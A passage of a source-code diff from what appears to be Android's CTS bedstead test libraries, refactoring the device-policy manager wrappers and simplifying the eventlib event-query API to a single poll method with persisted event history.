-        return getSystemService(context, HardwarePropertiesManager.class, receiverClass);
+        return getSystemService(context, HardwarePropertiesManager.class, receiverClass,
+                /* forDeviceOwner= */ true);
     }
 
     /**
-     * Gets the proper {@link UserManager} instance to be used by the test.
+     * Gets the proper {@link UserManager} instance to be used by device owner tests.
      */
     public static UserManager getUserManager(Context context,
             Class<? extends BroadcastReceiver> receiverClass) {
-        return getSystemService(context, UserManager.class, receiverClass);
+        return getSystemService(context, UserManager.class, receiverClass,
+                /* forDeviceOwner= */ true);
+    }
+
+    /**
+     * Gets the proper {@link GenericManager} instance to be used by the test.
+     */
+    public static GenericManager getGenericManager(Context context,
+            Class<? extends BroadcastReceiver> receiverClass) {
+        return getSystemService(context, GenericManager.class, receiverClass,
+                /* forDeviceOwner= */ true);
     }
 
     private static void assertHasRequiredReceiver(Context context) {
-        if (!UserManager.isHeadlessSystemUserMode()) return;
+        if (!Utils.isHeadlessSystemUserMode()) return;
 
         String packageName = context.getPackageName();
         Boolean hasIt = sHasRequiredReceiver.get(packageName);
@@ -125,8 +137,13 @@
             return;
         }
 
+        int numberReceivers = (packageInfo.receivers == null ? 0 : packageInfo.receivers.length);
+        Log.d(TAG, "assertHasRequiredReceiver(" + packageName + "): userId=" + context.getUserId()
+                + ", info=" + packageInfo + ", receivers=" + numberReceivers);
+
         if (packageInfo.receivers != null) {
             for (ActivityInfo receiver : packageInfo.receivers) {
+                Log.v(TAG, "checking receiver " + receiver);
                 Class<?> receiverClass = null;
                 try {
                     receiverClass = Class.forName(receiver.name);
@@ -135,23 +152,31 @@
                     continue;
                 }
                 if (TestAppCallbacksReceiver.class.isAssignableFrom(receiverClass)) {
-                    Log.d(TAG, "Found " + receiverClass + " on " + packageName);
+                    Log.d(TAG, "Found " + receiverClass.getName() + " on " + packageName);
                     sHasRequiredReceiver.put(packageName, Boolean.TRUE);
                     return;
                 }
             }
         }
-        fail("Package " + packageName + " doesn't have a " + TestAppCallbacksReceiver.class
-                + " receiver - did you add it to the manifest?");
+        if (numberReceivers == 0) {
+            // This is happening sometimes on headless system user; most likely it's a permission
+            // issue querying pm, but given that the DpmWrapper is temporary and this check is more
+            // of a validation to avoid other issues, it's ok to just log...
+            Log.wtf(TAG, "Package " + packageName + " has no receivers");
+            return;
+        }
+        fail("Package " + packageName + " has " + numberReceivers + " receivers, but not extends "
+                + TestAppCallbacksReceiver.class.getName() + " - did you add one to the manifest?");
     }
 
     private static <T> T getSystemService(Context context, Class<T> serviceClass,
-            Class<? extends BroadcastReceiver> receiverClass) {
-        assertHasRequiredReceiver(context);
-
+            Class<? extends BroadcastReceiver> receiverClass, boolean forDeviceOwner) {
         ServiceManagerWrapper<T> wrapper = null;
         Class<?> wrappedClass;
 
+        @SuppressWarnings("unchecked")
+        T manager = null;
+
         if (serviceClass.equals(DevicePolicyManager.class)) {
             wrappedClass = DevicePolicyManager.class;
             @SuppressWarnings("unchecked")
@@ -176,15 +201,32 @@
                     (ServiceManagerWrapper<T>) new UserManagerWrapper();
             wrapper = safeCastWrapper;
             wrappedClass = UserManager.class;
+        } else if (serviceClass.equals(GenericManager.class)) {
+            @SuppressWarnings("unchecked")
+            ServiceManagerWrapper<T> safeCastWrapper =
+                    (ServiceManagerWrapper<T>) new GenericManagerWrapper();
+            @SuppressWarnings("unchecked")
+            T safeCastManager = (T) new GenericManagerImpl(context);
+            wrapper = safeCastWrapper;
+            wrappedClass = GenericManager.class;
+            manager = safeCastManager;
         } else {
             throw new IllegalArgumentException("invalid service class: " + serviceClass);
         }
+        if (manager == null) {
+            manager = (T) context.getSystemService(wrappedClass);
+        }
 
-        @SuppressWarnings("unchecked")
-        T manager = (T) context.getSystemService(wrappedClass);
+        if (manager == null) {
+            fail("Could not get a manager of type " + serviceClass);
+        }
+
+        if (!forDeviceOwner) return manager;
+
+        assertHasRequiredReceiver(context);
 
         int userId = context.getUserId();
-        if (userId == UserHandle.USER_SYSTEM || !UserManager.isHeadlessSystemUserMode()) {
+        if (userId == UserHandle.USER_SYSTEM || !Utils.isHeadlessSystemUserMode()) {
             Log.i(TAG, "get(): returning 'pure' DevicePolicyManager for user " + userId);
             return manager;
         }
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/UserManagerWrapper.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/UserManagerWrapper.java
index 3836ee3..a56441a 100644
--- a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/UserManagerWrapper.java
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/UserManagerWrapper.java
@@ -17,6 +17,7 @@
 
 import static org.mockito.ArgumentMatchers.any;
 import static org.mockito.Mockito.doAnswer;
+import static org.mockito.Mockito.doReturn;
 
 import android.content.Context;
 import android.os.UserManager;
@@ -44,14 +45,17 @@
             return spy;
         }
 
-        Log.d(TAG, "get(): creating spy for user " + context.getUserId());
         spy = Mockito.spy(manager);
+        String spyString = "UserManagerWrapper#" + System.identityHashCode(spy);
+        Log.d(TAG, "get(): created spy for user " + context.getUserId() + ": " + spyString);
 
         // TODO(b/176993670): ideally there should be a way to automatically mock all DPM methods,
         // but that's probably not doable, as there is no contract (such as an interface) to specify
         // which ones should be spied and which ones should not (in fact, if there was an interface,
         // we wouldn't need Mockito and could wrap the calls using java's DynamicProxy
         try {
+            doReturn(spyString).when(spy).toString();
+
             // Used by HardwarePropertiesManagerTest
             doAnswer(answer).when(spy).getApplicationRestrictions(any());
         } catch (Exception e) {
@@ -60,8 +64,7 @@
         }
 
         sSpies.put(context, spy);
-        Log.d(TAG, "get(): returning new spy for context " + context + " and user "
-                + userId);
+        Log.d(TAG, "get(): returning new spy for context " + context + " and user " + userId);
 
         return spy;
     }
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java
index 03b8963..57289de 100644
--- a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java
@@ -19,6 +19,7 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.os.Build;
 import android.os.Bundle;
 import android.os.Handler;
 import android.os.HandlerThread;
@@ -61,12 +62,17 @@
     @GuardedBy("LOCK")
     private static Handler sHandler;
 
+    static boolean isHeadlessSystemUserMode() {
+        return Build.VERSION.SDK_INT >= Build.VERSION_CODES.S
+                && UserManager.isHeadlessSystemUserMode();
+    }
+
     static boolean isHeadlessSystemUser() {
-        return UserManager.isHeadlessSystemUserMode() && MY_USER_ID == UserHandle.USER_SYSTEM;
+        return isHeadlessSystemUserMode() && MY_USER_ID == UserHandle.USER_SYSTEM;
     }
 
     static boolean isCurrentUserOnHeadlessSystemUser(Context context) {
-        return UserManager.isHeadlessSystemUserMode()
+        return isHeadlessSystemUserMode()
                 && context.getSystemService(UserManager.class).isUserForeground();
     }
 
diff --git a/common/device-side/bedstead/eventlib/Android.bp b/common/device-side/bedstead/eventlib/Android.bp
index cef979c..e774608 100644
--- a/common/device-side/bedstead/eventlib/Android.bp
+++ b/common/device-side/bedstead/eventlib/Android.bp
@@ -10,7 +10,7 @@
         "src/main/aidl/**/I*.aidl",
     ],
     static_libs: [
-        "Nene",
+        "NeneInternal",
         "Queryable"
     ],
     manifest: "src/main/AndroidManifest.xml",
@@ -27,12 +27,12 @@
     ],
     static_libs: [
         "EventLib",
+        "Harrier",
         "ActivityContext",
         "androidx.test.ext.junit",
         "ctstestrunner-axt",
         "truth-prebuilt",
         "testng", // for assertThrows
-        "mockito-target-minus-junit4", // TODO(scottjonathan): Remove once we can get rid of mocks
         "compatibility-device-util-axt", // used for SystemUtil.runShellCommandOrThrow
     ],
     resource_dirs: ["src/test/res"],
diff --git a/common/device-side/bedstead/eventlib/TEST_MAPPING b/common/device-side/bedstead/eventlib/TEST_MAPPING
deleted file mode 100644
index 6aff883..0000000
--- a/common/device-side/bedstead/eventlib/TEST_MAPPING
+++ /dev/null
@@ -1,7 +0,0 @@
-{
-  "postsubmit": [
-    {
-      "name": "EventLibTest"
-    }
-  ]
-}
diff --git a/common/device-side/bedstead/eventlib/src/main/aidl/com/android/eventlib/IQueryService.aidl b/common/device-side/bedstead/eventlib/src/main/aidl/com/android/eventlib/IQueryService.aidl
index 27b5ba7..307ea6d 100644
--- a/common/device-side/bedstead/eventlib/src/main/aidl/com/android/eventlib/IQueryService.aidl
+++ b/common/device-side/bedstead/eventlib/src/main/aidl/com/android/eventlib/IQueryService.aidl
@@ -5,60 +5,15 @@
  */
 interface IQueryService {
     /**
-     * Initialise a new query.
-     *
-     * <p>This method must be called before any other interaction with this service.
-     *
-     * <p>The {@code data} must contain a {@code QUERIER} key which contains a serialized instance
-     * of {@code EventQuerier}.
-     */
-    void init(long id, in Bundle data);
-
-    /**
-     * Remote equivalent of {@code EventQuerier#get}.
-     *
-     * <p>The {@code data} must contain a {@code EARLIEST_LOG_TIME} key which contains a serialized
-     * instance of {@code Instant}.
-     *
-     * <p>The return {@code Bundle} will contain a {@code EVENT} key with a serialized instance of
-     * {@code Event}.
-     */
-    Bundle get(long id, in Bundle data);
-
-    /**
-     * Remote equivalent of {@code EventQuerier#get} which increments the count of skipped
-     * results for calls to {@link #get}.
-     *
-     * <p>This should be used when the result from {@link #get} does not pass additional filters.
-     *
-     * <p>The {@code data} must contain a {@code EARLIEST_LOG_TIME} key which contains a serialized
-     * instance of {@code Instant}.
-     *
-     * <p>The return {@code Bundle} will contain a {@code EVENT} key with a serialized instance of
-     * {@code Event}.
-     */
-    Bundle getNext(long id, in Bundle data);
-
-    /**
-     * Remote equivalent of {@code EventQuerier#next}.
-     *
-     * <p>The {@code data} must contain a {@code EARLIEST_LOG_TIME} key which contains a serialized
-     * instance of {@code Instant}.
-     *
-     * <p>The return {@code Bundle} will contain a {@code EVENT} key with a serialized instance of
-     * {@code Event}.
-     */
-    Bundle next(long id, in Bundle data);
-
-    /**
      * Remote equivalent of {@code EventQuerier#poll}.
      *
      * <p>The {@code data} must contain a {@code EARLIEST_LOG_TIME} key which contains a serialized
-     * instance of {@code Instant}, and a {@code TIMEOUT} key which contains a serialized instance
-     * of {@code Duration}.
+     * instance of {@code Instant}, a {@code TIMEOUT} key which contains a serialized instance
+     * of {@code Duration}, and a {@code QUERIER} key which contains a serialized instance
+     * of {@code EventQuerier}.
      *
      * <p>The return {@code Bundle} will contain a {@code EVENT} key with a serialized instance of
      * {@code Event}.
      */
-    Bundle poll(long id, in Bundle data);
+    Bundle poll(in Bundle data, int skip);
 }
\ No newline at end of file
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/Event.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/Event.java
index 40afafb..32af32a 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/Event.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/Event.java
@@ -30,6 +30,8 @@
  */
 public abstract class Event implements Serializable {
 
+    private static final long serialVersionUID = 1;
+
     // This class should contain all standard data applicable to all Events.
 
     protected String mPackageName;
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventLogger.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventLogger.java
index 2caade2..27ee1ff 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventLogger.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventLogger.java
@@ -50,6 +50,6 @@
         mEvent.mPackageName = mContext.getPackageName();
         mEvent.mTimestamp = Instant.now();
 
-        Events.getInstance(mContext).log(mEvent);
+        Events.getInstance(mContext, /* needsHistory= */ false).log(mEvent);
     }
 }
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventLogs.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventLogs.java
index 2a6d83c..6e985d6 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventLogs.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventLogs.java
@@ -16,6 +16,10 @@
 
 package com.android.eventlib;
 
+import static com.android.eventlib.truth.EventLogsSubject.assertThat;
+
+import static java.time.temporal.ChronoUnit.SECONDS;
+
 import android.util.Log;
 
 import java.io.Serializable;
@@ -24,9 +28,14 @@
 
 /** Interface to interact with the results of an {@link EventLogsQuery}. */
 public abstract class EventLogs<E extends Event> implements Serializable {
+
+    private static final long serialVersionUID = 1;
+
     static final Duration DEFAULT_POLL_TIMEOUT = Duration.ofMinutes(5);
 
-    static Instant sEarliestLogTime = Instant.now();
+    // We need to set this earlier than construction otherwise we will skip all events that happen
+    // before creating the first query
+    static Instant sEarliestLogTime = Instant.now().minus(30, SECONDS);
 
     /**
      * Returns the {@link EventQuerier} to be used to interact with the
@@ -58,25 +67,8 @@
     }
 
     /**
-     * Gets the earliest logged event matching the query, if one has been logged by the time the
-     * call is made, otherwise returns null.
-     */
-    public E get() {
-        return getQuerier().get(sEarliestLogTime);
-    }
-
-    /**
-     * Gets the earliest logged event matching the query which has not been returned by a previous
-     * call to {@link #next()} or {@link #poll()}, if one has been logged by the time the call is
-     * made, otherwise returns null.
-     */
-    public E next() {
-        return getQuerier().next(sEarliestLogTime);
-    }
-
-    /**
      * Gets the earliest logged event matching the query which has not be returned by a previous
-     * call to {@link #next()} or {@link #poll()}, or blocks until a matching event is logged.
+     * call to {@link #poll()}, or blocks until a matching event is logged.
      *
      * <p>This will timeout after {@code timeout} and return null if no matching event is logged.
      */
@@ -86,7 +78,7 @@
 
     /**
      * Gets the earliest logged event matching the query which has not be returned by a previous
-     * call to {@link #next()} or {@link #poll()}, or blocks until a matching event is logged.
+     * call to {@link #poll()}, or blocks until a matching event is logged.
      *
      * <p>This will timeout after {@link #DEFAULT_POLL_TIMEOUT} and return null if no matching
      * event is logged.
@@ -96,23 +88,19 @@
     }
 
     /**
-     * Gets the earliest logged event matching the query which has not be returned by a previous
-     * call to {@link #next()} or {@link #poll()}, or blocks until a matching event is logged.
+     * Returns immediately if there is an existing event matching the query which has not be
+     * returned by a previous call to {@link #poll()}, or blocks until a matching event is logged.
      *
      * <p>This will timeout after {@code timeout} and throw an {@link AssertionError} if no
      * matching event is logged.
      */
     public E waitForEvent(Duration timeout) {
-        E event = poll(timeout);
-        if (event == null) {
-            throw new AssertionError("No event was found before timeout");
-        }
-        return event;
+        return assertThat(this).eventOccurredWithin(timeout);
     }
 
     /**
-     * Gets the earliest logged event matching the query which has not be returned by a previous
-     * call to {@link #next()} or {@link #poll()}, or blocks until a matching event is logged.
+     * Returns immediately if there is an existing event matching the query which has not be
+     * returned by a previous call to {@link #poll()}, or blocks until a matching event is logged.
      *
      * <p>This will timeout after {@link #DEFAULT_POLL_TIMEOUT} and throw an {@link AssertionError}
      * if no matching event is logged.
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventLogsQuery.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventLogsQuery.java
index 379d297..f3b0634 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventLogsQuery.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventLogsQuery.java
@@ -20,8 +20,11 @@
 
 import com.android.bedstead.nene.users.UserReference;
 import com.android.queryable.Queryable;
+import com.android.queryable.queries.Query;
 
+import java.util.ArrayList;
 import java.util.HashSet;
+import java.util.List;
 import java.util.Set;
 import java.util.function.Function;
 
@@ -30,25 +33,9 @@
  */
 public abstract class EventLogsQuery<E extends Event, F extends EventLogsQuery>
         extends EventLogs<E> implements Queryable {
-
-    /**
-     * Default implementation of {@link EventLogsQuery} used when there are no additional query
-     * options to add.
-     */
-    public static class Default<E extends Event> extends EventLogsQuery<E, Default> {
-        public Default(Class<E> eventClass, String packageName) {
-            super(eventClass, packageName);
-        }
-
-        @Override
-        protected boolean filter(E event) {
-            return getPackageName().equals(event.packageName());
-        }
-    }
-
     private final Class<E> mEventClass;
     private final String mPackageName;
-    private final transient Set<Function<E, Boolean>> filters = new HashSet<>();
+    private final transient Set<Function<E, Boolean>> mFilters = new HashSet<>();
     private transient UserHandle mUserHandle = null; // null is default, meaning current user
 
     protected EventLogsQuery(Class<E> eventClass, String packageName) {
@@ -78,7 +65,7 @@
 
     /** Apply a lambda filter to the results. */
     public F filter(Function<E, Boolean> filter) {
-        filters.add(filter);
+        mFilters.add(filter);
         return (F) this;
     }
 
@@ -86,9 +73,9 @@
      * Returns true if {@code E} matches custom and default filters for this {@link Event} subclass.
      */
     protected final boolean filterAll(E event) {
-        if (filters != null) {
+        if (mFilters != null) {
             // Filters will be null when called remotely
-            for (Function<E, Boolean> filter : filters) {
+            for (Function<E, Boolean> filter : mFilters) {
                 if (!filter.apply(event)) {
                     return false;
                 }
@@ -117,4 +104,43 @@
     UserHandle getUserHandle() {
         return mUserHandle;
     }
+
+
+    public static class ToStringBuilder {
+
+        private final List<String> mFields = new ArrayList<>();
+        private final int mNumberOfCustomFilters;
+
+        private ToStringBuilder(String eventType, EventLogsQuery<?, ?> query) {
+            mFields.add("type=" + eventType);
+            mFields.add("packageName=" + query.mPackageName);
+            if (query.mUserHandle != null) {
+                mFields.add("user=" + query.mUserHandle);
+            }
+            mNumberOfCustomFilters = query.mFilters.size();
+        }
+
+        public ToStringBuilder field(String fieldName, Query<?> query) {
+            mFields.add(query.describeQuery(fieldName));
+            return this;
+        }
+
+        @Override
+        public String toString() {
+            if (mNumberOfCustomFilters > 0) {
+                mFields.add(mNumberOfCustomFilters + " custom filters");
+            }
+            return "{" + Queryable.joinQueryStrings(mFields) + "}";
+        }
+    }
+
+    public <N extends Event> ToStringBuilder toStringBuilder(
+            Class<N> eventClass, EventLogsQuery<N, ?> query) {
+        return new ToStringBuilder(eventClass.getSimpleName(), query);
+    }
+
+    @Override
+    public String toString() {
+        return describeQuery("Query");
+    }
 }
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventQuerier.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventQuerier.java
index 5bead5a..19211cc 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventQuerier.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventQuerier.java
@@ -22,19 +22,6 @@
 
 /** Interface for interacting with a local or remote {@link Event} store. */
 interface EventQuerier<E extends Event> {
-
-    /**
-     * Gets the first {@link Event} which wasn't logged before {@code earliestLogTime},
-     * or returns null.
-     */
-    E get(Instant earliestLogTime);
-
-    /**
-     * Gets the next unseen {@link Event} which wasn't logged before {@code earliestLogTime},
-     * or returns null.
-     */
-    E next(Instant earliestLogTime);
-
     /**
      * Gets the next unseen {@link Event} which wasn't logged before {@code earliestLogTime},
      * or blocks until one is logged.
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/Events.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/Events.java
index c8218d9..e2a4c84 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/Events.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/Events.java
@@ -26,24 +26,27 @@
 import java.nio.ByteBuffer;
 import java.time.Duration;
 import java.time.Instant;
-import java.util.ArrayList;
+import java.util.ArrayDeque;
 import java.util.Collections;
-import java.util.List;
+import java.util.Deque;
+import java.util.Queue;
 import java.util.Set;
 import java.util.WeakHashMap;
+import java.util.concurrent.ConcurrentLinkedDeque;
 import java.util.concurrent.ExecutorService;
 import java.util.concurrent.Executors;
-import java.util.concurrent.ThreadPoolExecutor;
+import java.util.concurrent.atomic.AtomicBoolean;
 
 /** Event store for the current package. */
 class Events {
 
-    private static final String TAG = "Events";
+    private static final String TAG = "EventLibEvents";
     private static final String EVENT_LOG_FILE_NAME = "Events";
     private static final Duration MAX_LOG_AGE = Duration.ofMinutes(5);
     private static final int BYTES_PER_INT = 4;
 
     private static final ExecutorService sExecutor = Executors.newSingleThreadExecutor();
+    private AtomicBoolean mLoadedHistory = new AtomicBoolean(false);
 
     /** Interface used to be informed when new events are logged. */
     interface EventListener {
@@ -52,15 +55,19 @@
 
     private static Events mInstance;
 
-    static Events getInstance(Context context) {
+    static Events getInstance(Context context, boolean needsHistory) {
         if (mInstance == null) {
             synchronized (Events.class) {
                 if (mInstance == null) {
                     mInstance = new Events(context.getApplicationContext());
-                    mInstance.initialiseFiles();
                 }
             }
         }
+
+        if (needsHistory) {
+            mInstance.loadHistory();
+        }
+
         return mInstance;
     }
 
@@ -71,45 +78,40 @@
         this.mContext = context;
     }
 
-    private void initialiseFiles() {
-//        sExecutor.execute(() -> {
-//            loadEventsFromFile();
-//            try {
-//                mOutputStream = mContext.openFileOutput(EVENT_LOG_FILE_NAME, Context.MODE_PRIVATE);
-//                // We clear the file and write the logs again so we can exclude old logs
-//                // This avoids the file growing without limit
-//                writeAllEventsToFile();
-//            } catch (FileNotFoundException e) {
-//                throw new IllegalStateException("Could not write event log", e);
-//            }
-//        });
+    private void loadHistory() {
+        if (mLoadedHistory.getAndSet(true)) {
+            return;
+        }
+
+        loadEventsFromFile();
     }
 
     private void loadEventsFromFile() {
+        mEventList.clear();
         Instant now = Instant.now();
+        Deque<Event> eventQueue = new ArrayDeque<>();
         try (FileInputStream fileInputStream = mContext.openFileInput(EVENT_LOG_FILE_NAME)) {
             Event event = readEvent(fileInputStream);
 
             while (event != null) {
-                if (event.mTimestamp.plus(MAX_LOG_AGE).isBefore(now)) {
-                    continue;
+                // I'm not sure if we need this
+                if (event.mTimestamp.plus(MAX_LOG_AGE).isAfter(now)) {
+                    eventQueue.addFirst(event);
                 }
-                mEventList.add(event);
                 event = readEvent(fileInputStream);
             }
+
+            for (Event e : eventQueue) {
+                mEventList.addFirst(e);
+            }
         } catch (FileNotFoundException e) {
             // Ignore this exception as if there's no file there's nothing to load
+            Log.i(TAG, "No existing event file");
         } catch (IOException e) {
             Log.e(TAG, "Error when loading events from file", e);
         }
     }
 
-    private void writeAllEventsToFile() {
-        for (Event event : mEventList) {
-            writeEventToFile(event);
-        }
-    }
-
     private Event readEvent(FileInputStream fileInputStream) throws IOException {
         if (fileInputStream.available() < BYTES_PER_INT) {
             return null;
@@ -131,6 +133,7 @@
             Log.d(TAG, event.toString());
             synchronized (mEventList) {
                 mEventList.add(event); // TODO: This should be made immutable before adding
+                writeEventToFile(event);
             }
             triggerEventListeners(event);
         });
@@ -138,6 +141,12 @@
 
     private void writeEventToFile(Event event) {
         try {
+            if (mOutputStream == null) {
+                mOutputStream = mContext.openFileOutput(
+                        EVENT_LOG_FILE_NAME, Context.MODE_PRIVATE | Context.MODE_APPEND);
+            }
+
+            Log.e(TAG, "writing event to file: " + event);
             byte[] eventBytes = event.toBytes();
             mOutputStream.write(
                     ByteBuffer.allocate(BYTES_PER_INT).putInt(eventBytes.length).array());
@@ -147,27 +156,25 @@
         }
     }
 
-    private final List<Event> mEventList = new ArrayList<>();
+    private final Deque<Event> mEventList = new ConcurrentLinkedDeque<>();
     // This is a weak set so we don't retain listeners from old tests
     private final Set<EventListener> mEventListeners
             = Collections.newSetFromMap(new WeakHashMap<>());
 
     /** Get all logged events. */
-    public List<Event> getEvents() {
-        synchronized (mEventList) {
+    public Queue<Event> getEvents() {
             return mEventList;
-        }
     }
 
     /** Register an {@link EventListener} to be called when a new {@link Event} is logged. */
     public void registerEventListener(EventListener listener) {
-        synchronized (Events.class) {
+        synchronized (mEventListeners) {
             mEventListeners.add(listener);
         }
     }
 
     private void triggerEventListeners(Event event) {
-        synchronized (Events.class) {
+        synchronized (mEventListeners) {
             for (EventListener listener : mEventListeners) {
                 listener.onNewEvent(event);
             }
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/LocalEventQuerier.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/LocalEventQuerier.java
index ff46782..1b51899 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/LocalEventQuerier.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/LocalEventQuerier.java
@@ -32,67 +32,25 @@
     private final EventLogsQuery<E, F> mEventLogsQuery;
     private final Events mEvents;
     private final BlockingDeque<Event> mFetchedEvents;
-    private int skippedGet = 0;
 
     LocalEventQuerier(Context context, EventLogsQuery<E, F> eventLogsQuery) {
         mEventLogsQuery = eventLogsQuery;
-        mEvents = Events.getInstance(context);
+        mEvents = Events.getInstance(context, /* needsHistory= */ true);
         mFetchedEvents = new LinkedBlockingDeque<>(mEvents.getEvents());
         mEvents.registerEventListener(this);
     }
 
     @Override
-    public E get(Instant earliestLogTime) {
-        int skipped = 0;
-        for (Event event : mEvents.getEvents()) {
-            if (mEventLogsQuery.eventClass().isInstance(event)) {
-                if (event.mTimestamp.isBefore(earliestLogTime)) {
-                    continue;
-                } else if (skipped++ < skippedGet) {
-                    continue;
-                }
-
-                E typedEvent = (E) event;
-                if (mEventLogsQuery.filterAll(typedEvent)) {
-                    return typedEvent;
-                }
-            }
-        }
-        return null;
+    public E poll(Instant earliestLogTime, Duration timeout) {
+        return poll(earliestLogTime, timeout, /* skip= */ 0);
     }
 
     /**
-     * Same as {@link #get(Instant)} but incremements the number of skipped results.
+     * Poll for a result, skipping the first {@code skip} matching results.
      *
-     * <p>This should be used when the current result from {@link #get(Instant)} does not pass
-     * additional filters.
+     * <p>See {@link #poll(Instant, Duration)}.
      */
-    public E getNext(Instant earliestLogTime) {
-        skippedGet += 1;
-        return get(earliestLogTime);
-    }
-
-    @Override
-    public E next(Instant earliestLogTime) {
-        while (!mFetchedEvents.isEmpty()) {
-            Event event = mFetchedEvents.removeFirst();
-
-            if (mEventLogsQuery.eventClass().isInstance(event)) {
-                if (event.mTimestamp.isBefore(earliestLogTime)) {
-                    continue;
-                }
-
-                E typedEvent = (E) event;
-                if (mEventLogsQuery.filterAll(typedEvent)) {
-                    return typedEvent;
-                }
-            }
-        }
-        return null;
-    }
-
-    @Override
-    public E poll(Instant earliestLogTime, Duration timeout) {
+    public E poll(Instant earliestLogTime, Duration timeout, int skip) {
         Instant endTime = Instant.now().plus(timeout);
         while (true) {
             Event event = null;
@@ -115,6 +73,11 @@
 
                 E typedEvent = (E) event;
                 if (mEventLogsQuery.filterAll(typedEvent)) {
+                    if (skip > 0) {
+                        skip--;
+                        continue;
+                    }
+
                     return typedEvent;
                 }
             }
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/QueryService.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/QueryService.java
index 4efd3ce..e3fa80b 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/QueryService.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/QueryService.java
@@ -23,7 +23,6 @@
 
 import java.time.Duration;
 import java.time.Instant;
-import java.util.concurrent.ConcurrentHashMap;
 
 /**
  * Implementation of {@link IQueryService}.
@@ -35,56 +34,15 @@
     public static final String EVENT_KEY = "EVENT";
     public static final String TIMEOUT_KEY = "TIMEOUT";
 
-    private static class QueryClient {
-        final EventLogsQuery<?, ?> query;
-        final LocalEventQuerier<?, ?> querier;
-
-        public QueryClient(EventLogsQuery<?, ?> query, LocalEventQuerier<?, ?> querier) {
-            this.query = query;
-            this.querier = querier;
-        }
-    }
-
     private final IQueryService.Stub binder = new IQueryService.Stub() {
-
-        // Map of all initialised clients, to keep track of progress when using poll/next
-        private final ConcurrentHashMap<Long, QueryClient> clients = new ConcurrentHashMap<>();
-
         @Override
-        public void init(long id, Bundle data) {
+        public Bundle poll(Bundle data, int skip) {
             EventLogsQuery<?, ?> query = (EventLogsQuery<?, ?>) data.getSerializable(QUERIER_KEY);
             LocalEventQuerier<?, ?> querier =
                     new LocalEventQuerier<>(getApplicationContext(), query);
-
-            clients.put(id, new QueryClient(query, querier));
-        }
-
-        @Override
-        public Bundle get(long id, Bundle data) {
-            Instant earliestLogtime = (Instant) data.getSerializable(EARLIEST_LOG_TIME_KEY);
-            Event e = clients.get(id).querier.get(earliestLogtime);
-            return prepareReturnBundle(e);
-        }
-
-        @Override
-        public Bundle getNext(long id, Bundle data) {
-            Instant earliestLogtime = (Instant) data.getSerializable(EARLIEST_LOG_TIME_KEY);
-            Event e = clients.get(id).querier.getNext(earliestLogtime);
-            return prepareReturnBundle(e);
-        }
-
-        @Override
-        public Bundle next(long id, Bundle data) {
-            Instant earliestLogtime = (Instant) data.getSerializable(EARLIEST_LOG_TIME_KEY);
-            Event e = clients.get(id).querier.next(earliestLogtime);
-            return prepareReturnBundle(e);
-        }
-
-        @Override
-        public Bundle poll(long id, Bundle data) {
             Instant earliestLogtime = (Instant) data.getSerializable(EARLIEST_LOG_TIME_KEY);
             Duration timeoutDuration = (Duration) data.getSerializable(TIMEOUT_KEY);
-            Event e = clients.get(id).querier.poll(earliestLogtime, timeoutDuration);
+            Event e = querier.poll(earliestLogtime, timeoutDuration, skip);
             return prepareReturnBundle(e);
         }
 
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/RemoteEventQuerier.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/RemoteEventQuerier.java
index b0b6bd5..b6d10c0 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/RemoteEventQuerier.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/RemoteEventQuerier.java
